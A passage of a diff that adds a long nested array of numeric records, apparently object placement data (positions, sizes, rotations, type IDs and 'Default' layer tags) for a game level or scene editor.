+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3657,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15604,
+ 414,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3658,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14620,
+ 47,
+ 0,
+ 76.83200073242188,
+ 79.30245971679688,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3659,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15382,
+ 505,
+ 0,
+ 828,
+ 96,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3661,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18271,
+ 672,
+ 0,
+ 276.3340148925781,
+ 89.62183380126953,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 3663,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18569,
+ 830,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3664,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18949,
+ 830,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3665,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19330,
+ 830,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3666,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19004,
+ 618,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3667,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19167,
+ 606,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3668,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19368,
+ 611,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3669,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18839,
+ 621,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3670,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18789,
+ 609,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3671,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18365,
+ 400,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3672,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17789,
+ 552,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3673,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18039,
+ 466,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3674,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18221,
+ 680,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3675,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18404,
+ 679,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3676,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18560,
+ 648,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3677,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17060,
+ 506,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3678,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17239,
+ 440,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3679,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16748,
+ 709,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3680,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16739,
+ 703,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3681,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16161,
+ 656,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3682,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16061,
+ 853,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3683,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16265,
+ 849,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 3684,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17400,
+ 423,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 3685,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17891,
+ 523,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3686,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17560,
+ 452,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.05222109705209732,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3687,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16402,
+ 808,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9995859265327454,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3688,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16160,
+ 582,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3689,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16022,
+ 878,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3690,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16114,
+ 878,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3691,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16159,
+ 673,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 3692,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16159,
+ 671,
+ 0,
+ 90.9178466796875,
+ 51.08673095703125,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3693,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16206,
+ 878,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3694,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16298,
+ 878,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3695,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16528,
+ 736,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9995859265327454,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3696,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16432,
+ 936,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3697,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16814,
+ 936,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3698,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16470,
+ 790,
+ 0,
+ 299,
+ 51,
+ 0,
+ -0.5235991477966309,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3699,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16631,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3700,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16722,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3701,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16814,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3702,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16906,
+ 640,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3703,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16906,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3704,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16998,
+ 640,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3705,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16998,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3706,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16631,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3707,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16722,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3708,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16814,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3709,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16906,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3710,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16998,
+ 735,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3711,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16998,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3712,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16631,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3713,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16722,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3714,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16814,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3715,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16906,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3716,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16998,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3717,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16298,
+ 973,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3718,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16298,
+ 1069,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3719,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16298,
+ 1164,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3720,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16814,
+ 832,
+ 0,
+ 457.285888671875,
+ 276.20166015625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3721,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16953,
+ 737,
+ 0,
+ 184.09130859375,
+ 276.20166015625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3722,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16998,
+ 738,
+ 0,
+ 91.79345703125,
+ 468.176025390625,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3723,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17090,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3724,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17182,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3725,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17182,
+ 450,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3726,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17274,
+ 450,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3727,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17274,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3728,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17366,
+ 450,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3729,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17366,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3730,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17458,
+ 450,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3731,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17458,
+ 545,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3732,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17684,
+ 525,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.05222109705209732,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3733,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17785,
+ 589,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3734,
+ [],
+ [],
+ [
+ 0,
